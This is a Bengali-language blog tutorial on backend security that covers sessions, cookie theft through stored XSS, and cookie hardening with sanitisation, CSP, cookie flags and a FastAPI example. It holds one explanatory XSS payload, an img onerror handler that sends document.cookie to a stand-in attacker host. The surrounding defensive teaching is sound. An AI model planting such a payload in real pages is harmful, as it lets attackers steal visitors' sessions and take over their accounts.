Backend Security (Part-6)
Cookie Security
আমরা যেকোনো ওয়েবসাইটে সাধারণত ইমেল ও পাসওয়ার্ড দিয়ে প্রথমে লগইন করি। এরপর ওয়েবসাইট ব্রাউজ করি, ব্রাউজার বন্ধ করি, এমনকি কম্পিউটারও বন্ধ করে দিই। পরে আবার সেই ওয়েবসাইটে প্রবেশ করলে একটু খেয়াল করলেই দেখা যায়—অনেক ক্ষেত্রেই আমাদের আর নতুন করে ইমেল ও পাসওয়ার্ড দিয়ে লগইন করতে হয় না, এমনকি অনেক দিন পরেও না!
এই চমৎকার সুবিধাটি বাস্তবায়ন করার জন্য ওয়েব ডেভেলপমেন্টে একাধিক পদ্ধতি রয়েছে। তবে আজ আমরা আলোচনা করব সবচেয়ে জনপ্রিয় একটি টেকনিক নিয়ে—যেটি ব্যবহার করেন ডেভেলপাররা, আবার হ্যাকারদের কাছেও বেশ পরিচিত—তা হলো কুকি (Cookie)।
কুকি নিয়ে পড়াশোনা শুরু করার আগে আমাদের আগে বুঝে নিতে হবে সেশন (Session) আসলে কী।
Session
যখন কোনো login request সফলভাবে সম্পন্ন হয়, তখন সার্ভার সেই লগইন করা ইউজারকে ভবিষ্যতে চিনে রাখার জন্য কিছু জিনিস তৈরি ও সংরক্ষণ করে। এই প্রক্রিয়াটি সাধারণত এমন হয়:
Randomly Generated Session ID - একটি ইউনিক সেশন আইডি তৈরি করা হয় , সাধারণত এর দৈর্ঘ্য থাকে 128–256 ক্যারেক্টার
Session Metadata সংরক্ষণ - এই Session ID এর সাথে সম্পর্কিত কিছু তথ্য সার্ভারের ডাটাবেজে রাখা হয় (যেমন: Redis, In-memory store অথবা Any Database):
কোন user-এর সেশন
Session creation time
Session expiration time
User IP address
User agent (ব্রাউজার / ডিভাইস সংক্রান্ত তথ্য)
Session ID ব্রাউজারে পাঠানো সবশেষে: সার্ভার এই Session ID–টি Cookie-এর মাধ্যমে ইউজারের ব্রাউজারে সেট করে দেয়।
এর ফলে পরবর্তীতে ব্রাউজার যখনই সার্ভারে নতুন কোনো request পাঠায়, সেই Cookie-এর মাধ্যমে সার্ভার বুঝতে পারে— এই requestটি কোন logged-in user-এর।

এতে বোঝা গেল, কুকি আসলে খুবই গুরুত্বপূর্ণ একটা জিনিস। এই কুকি যদি কোনোভাবে হ্যাকারের হাতে চলে যায়, তাহলে মোটামুটি গেম ওভার।
কুকি বিভিন্নভাবে কম্প্রোমাইজ বা স্যাক্রিফাইস হয়ে যেতে পারে। কমন কিছু অ্যাটাকের কথা বললে— XSS (Cross-Site Scripting), CSRF (Cross-Site Request Forgery) ইত্যাদি উল্লেখ করা যায়।
আজ আমি মূলত XSS অ্যাটাক নিয়ে হালকা একটা ধারণা দেবো, আর পাশাপাশি কিভাবে আমাদের কুকিগুলো সিকিউর করা যায়—সে বিষয়ে কয়েকটা গুরুত্বপূর্ণ পয়েন্টে আলোকপাত করবো।
পুনশ্চ: আগেই বলে রাখি, এই লেখাগুলোর উদ্দেশ্য খুব গভীরভাবে ডুব দিয়ে মুক্তা খোঁজা না। বরং একজন ডেভেলপার হিসেবে একটা সিকিউরিটি মেন্টাল ম্যাপ তৈরি করা, যেটা ধীরে ধীরে মাসল মেমরিতে সেইভ হয়ে যাবে—এইটাই মূল লক্ষ্য।
XSS (Cross-Site Scripting)
একসময় “কুকি স্যাক্রিফাইস”, “হ্যাকার কুকি নিয়ে নেয়”—এই কথাগুলো আমার কাছেও বেশ দুর্বোধ্য লাগত। ভাবতাম, এইগুলা আসলে হয় কীভাবে? পরে নিজে বোঝার জন্য একটা ছোট সিনারিও বানালাম। তখন বুঝলাম—আরে, হ্যাকার শা* তো একদম সোজা রাস্তা দিয়েই ঢুকে পড়ে!
ধরি, আমরা একটি ব্লগ ওয়েবসাইট বানিয়েছি যেখানে কমেন্ট সেকশন আছে। কিন্তু বড় সমস্যা হলো—ইউজার ইনপুট (HTML) ঠিকমতো sanitize করা হচ্ছে না। এখন একজন হ্যাকার নিচের কমেন্টটা পোস্ট করল:
Great article!
<img src="x" onerror="document.location='https://hacker-api.com/steal?c='+document.cookie" />
ধরে নিলাম, এই কমেন্টটা কোনো রিভিউ ছাড়াই অটো-পাবলিশ হয়ে গেল। এরপর কী ঘটে?
আমাদের ব্লগ সাইটের একজন সাধারণ ইউজার সেই ব্লগ পেজ ভিজিট করল
ব্রাউজার পুরো পেজের HTML রেন্ডার করল—কমেন্ট সেকশনসহ লোড করার চেষ্টা করা হলো
যেহেতু "x" কোনো বৈধ ইমেজ না, তাই ইমেজ লোড ফেইল করল
ইমেজ লোড ফেইল হওয়ায় onerror ইভেন্ট ট্রিগার হলো
onerror-এর ভেতরের জাভাস্ক্রিপ্ট কোড এক্সিকিউট হয়ে গেল:
document.location = 'https://hacker-api.com/steal?c=' + document.cookie;
ফলাফল কী?
ভিক্টিম ইউজারের ব্রাউজার নিজেই একটি HTTP রিকুয়েস্ট পাঠিয়ে দিল হ্যাকার-এর সার্ভারে। রিকুয়েস্টটা দেখতে হয় এমন:
https://hacker-api.com/steal?c= session_id=abc123; user_token=xyz789
অর্থাৎ, ভিক্টিমের সব অ্যাক্সেসযোগ্য কুকি হ্যাকার পেয়ে গেল।
যদি এই কুকিগুলোর মধ্যে থাকে:
session_id
authentication token
remember-me token
তাহলে হ্যাকার খুব সহজেই সেই ইউজারের একাউন্ট হাইজ্যাক করতে পারবে—পাসওয়ার্ড না জানলেও।
এই অ্যাটাকটার নাম কী? এটাই Stored XSS (Persistent XSS) XSS (Cross-Site Scripting)-এর অনেকগুলা টাইপের মধ্যে এটা সবচেয়ে বিপজ্জনকগুলোর একটা, কারণ:
পে-লোড একবার স্টোর হয়
প্রতিটা ভিজিটর অটো-ভিক্টিম হয়
হ্যাকারকে বারবার কিছু করতে হয় না
How to Secure Cookies
আমরা যদি নিচের স্টেপগুলো ঠিকভাবে ফলো করি, তাহলে প্রায় 90% common risk কাভার করা সম্ভব।
1. Sanitize ALL User Input (XSS ঠেকানোর মূল জায়গা)
আমরা কখনোই user input raw অবস্থায় render করবো না।
বিশেষ করে:
Comment
Post body
Description
Rich text input
এই জায়গাগুলোই সাধারণত Stored XSS-এর প্রধান entry point।
Python উদাহরণ (Bleach ব্যবহার করে)
import bleach
def sanitize_comment(comment):
allowed_tags = ['b', 'i', 'em', 'strong', 'p', 'br']
return bleach.clean(comment, tags=allowed_tags, strip=True)
এখানে যা হচ্ছে:
script,iframe,onerror,onclickটাইপ payload auto remove হয়Stored XSS থেকে cookie leak হওয়ার ঝুঁকি অনেকটাই কমে যায়
গুরুত্বপূর্ণ নোট
আমরা কখনো Regex দিয়ে HTML sanitize করার চেষ্টা করবো না
সবসময় HTML parser-based sanitizer ব্যবহার করাই সঠিক পদ্ধতি
2. Framework-এর Auto-Escaping ব্যবহার করা
(Default behaviour আমরা পরিবর্তন করবো না)
বেশিরভাগ modern framework (Django, Jinja2, Rails ইত্যাদি) ডিফল্টভাবেই auto-escaping করে।
Django Template (Safe by default)
<p>{{ user_comment }}</p>
এখানে user input HTML হিসেবে execute হবে না।
যেটা আমরা এড়িয়ে চলবো
{{ user_comment|safe }}
|safe ব্যবহার করলে framework-এর built-in protection bypass হয়ে যায়। আমরা শুধু তখনই এটা ব্যবহার করবো, যখন 100% নিশ্চিত যে input আগেই sanitize করা।
3. Content Security Policy (CSP) ব্যবহার করা
CSP থাকলে XSS থাকলেও তার impact অনেক কমে যায়। মানে vulnerability থাকলেও damage limited রাখা যায়।
Minimum Recommended CSP
Content-Security-Policy:
default-src 'self';
script-src 'self';
img-src 'self' https:;
object-src 'none';
এর ফলে:
Inline JavaScript block হয়ে যায়
External malicious script load করা যায় না
Cookie stealing payload execute করা অনেক কঠিন হয়
4. Cookie Security Flags (Production-এ অবশ্যই দরকার)
Cookie সেট করার সময় আমরা যদি এই flags না দিই, তাহলে security অসম্পূর্ণ থেকেই যায়।
| Flag | কী করে | কেন দরকার |
HttpOnly | JavaScript access বন্ধ | XSS হলেও JS cookie পড়তে পারবে না |
Secure | শুধু HTTPS-এ পাঠানো হয় | MITM / sniffing আটকায় |
SameSite | Cross-site request control | CSRF risk কমায় |
SameSite Values (সংক্ষেপে)
Strict → শুধু same-site request
Lax → normal navigation allow করে (recommended default)
None → cross-site allow (Secure flag বাধ্যতামূলক)
Best Practice
Auth / session cookie →
SameSite=LaxThird-party cookie →
SameSite=None; Secure=True
5. HTTPS ছাড়া Cookie Security অসম্ভব
HTTPS ছাড়া Secure flag কার্যকর হয় না।
Production environment-এ আমরা অবশ্যই:
HTTPS everywhere ব্যবহার করবো
HTTP → HTTPS redirect দিবো
Localhost ছাড়া কোথাও HTTP চালাবো না
6. Cookie Lifetime ছোট রাখা (Expiry Control)
Long-lived cookie মানেই বড় risk।
Session cookie হলে browser close-এর সাথে expire হওয়া ভালো
Remember-me টাইপ cookie হলেও reasonable expiry দেওয়া উচিত
Token rotation implement করলে overall security আরও বাড়ে
FastAPI Implementation
আমি যেহেতু FastAPI একটু কোড করতে পারি , তাই একটা demonstration দিলাম ।
from fastapi import FastAPI, Request, Response
from fastapi.responses import JSONResponse
import uuid
from datetime import datetime, timedelta
app = FastAPI()
# Middleware: HTTP request-এর আগে/পরে চলে
@app.middleware("http")
async def add_security_headers(request: Request, call_next):
"""
সব HTTP response-এ security headers যোগ করে।
এটি XSS, clickjacking ইত্যাদি attack প্রতিরোধ করে।
"""
response = await call_next(request)
# Content Security Policy (CSP) header
# এটি নির্ধারণ করে কোন resources (scripts, styles, images ইত্যাদি) load করা যাবে
response.headers["Content-Security-Policy"] = (
"default-src 'self'; " # শুধু নিজের domain থেকে resources load হবে
"script-src 'self'; " # শুধু নিজের domain থেকে scripts load হবে
"style-src 'self'; " # শুধু নিজের domain থেকে CSS load হবে
"img-src 'self'; " # শুধু নিজের domain থেকে images load হবে
"object-src 'none'; " # object, embed, applet elements block করা
"frame-ancestors 'none'; " # clickjacking প্রতিরোধ (iframe-এ embed করা যাবে না)
"form-action 'self'; " # শুধু নিজের domain-এ form submit করা যাবে
)
# X-Frame-Options header (পুরনো browsers-এর জন্য compatibility)
# Clickjacking attack প্রতিরোধ করে - পেজকে iframe-এ load করা যাবে না
response.headers["X-Frame-Options"] = "DENY"
# X-Content-Type-Options header
# Browser যেন content type sniffing না করে
response.headers["X-Content-Type-Options"] = "nosniff"
# Referrer-Policy header
# অন্য site-এ যাওয়ার সময় referrer information share না করা
response.headers["Referrer-Policy"] = "strict-origin-when-cross-origin"
return response
@app.get("/login")
async def login(response: Response):
"""
লগিন endpoint - নিরাপদ session cookie সেট করে
"""
# Unique session ID generate করা
session_id = str(uuid.uuid4())
# Cookie সেট করা - বিভিন্ন security flags সহ
response.set_cookie(
key="session_id", # Cookie-র নাম
value=session_id, # Cookie-র value (encrypted হওয়া উচিত production-এ)
httponly=True, # ✅ JavaScript থেকে access করা যাবে না - XSS protection
secure=True, # ✅ শুধু HTTPS connection-এ পাঠানো হবে
samesite="strict", # ✅ CSRF protection - শুধু same site থেকে request আসলে cookie পাঠানো হবে
max_age=3600, # Cookie-র আয়ু ১ ঘণ্টা (সেকেন্ডে)
expires=datetime.utcnow() + timedelta(hours=1), # Expiry date/time
path="/", # সব path-এ cookie available
domain=None, # শুধু current domain-এ (production-এ set করা উচিত)
)
return {"message": "Login successful", "session_id": session_id}
@app.get("/dashboard")
async def dashboard(request: Request):
"""
Protected route - শুধু valid session থাকলে access করা যাবে
"""
session_id = request.cookies.get("session_id")
if not session_id:
return JSONResponse(
status_code=401,
content={"error": "Unauthorized - No session found"}
)
# এখানে session validate করার logic থাকবে
# Database বা cache থেকে session check করা
return {"message": "Welcome to dashboard", "session_id": session_id}
@app.get("/logout")
async def logout(response: Response):
"""
লগআউট endpoint - cookie expire করে দেয়
"""
# Cookie expire করার technique:
# একই নামের cookie সেট করা যায় past date-এ
response.set_cookie(
key="session_id",
value="", # Empty value
httponly=True,
secure=True,
samesite="strict",
max_age=0, # ০ সেকেন্ড - immediately expire
expires=datetime.utcnow() - timedelta(days=1), # গতকাল expire হয়েছে
)
return {"message": "Logged out successfully"}
@app.get("/public")
async def public_route():
"""
Public route - authentication লাগে না
"""
return {"message": "This is a public endpoint"}
if __name__ == "__main__":
import uvicorn
uvicorn.run(app, host="0.0.0.0", port=8000)


